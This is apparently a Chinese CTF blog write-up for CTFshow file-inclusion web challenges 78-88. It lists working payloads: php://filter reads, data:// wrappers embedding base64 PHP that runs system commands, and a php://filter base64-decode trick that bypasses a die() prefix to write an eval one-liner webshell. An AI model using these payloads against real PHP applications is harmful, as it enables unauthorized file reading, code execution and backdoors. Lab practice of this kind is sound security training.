CTFshow web入门 (文件包含)

web 78

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

web 79

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web 80-81

关于日志文件包含的知识点这个文章里已经写的很详细了日志文件包含

可能要多发包几次

web 82-86

链接奉上:https://www.cnblogs.com/NPFS/p/13795170.html

web 87

P神文章奉上:谈一谈php://filter的妙用

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

先分析一下这个代码,主要就是说过滤了php、data、: 、. ,然后将content参数的值写入到file参数所定义的文件里,但是一同写入的还有,在开头增加了die的过程,导致即使我们成功写入一句话,也执行不了

我们所要做的就是绕过die ,从而执行我们写入的一句话,如何绕或在P神的文章里写了很详细了,总共有三种方法,不过我在这个题目,尝试这三种方法,但只有一种成功。可能是因为版本原因或是别的....,导致另外两种方法执行失败

我用的是base64-decode的解法



将 php://filter/write=convert.base64-decode/resource=123.php (这里因为我们需要的是写入的权限,所以是write)进行两次url编码,得到如下

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30

然后再content写入经过base64编码过后的一句话 (PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==)
这里content的值前面要加两个字符,因为base64算法解码时是4个byte一组,所以给他增加2个字符 一共8个字符

之后来到123.php页面,命令执行即可

web 88

payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

即 ?file=data://text/plain;base64,

posted @   NPFS  阅读(3806)  评论(7编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示
Fork me on GitHub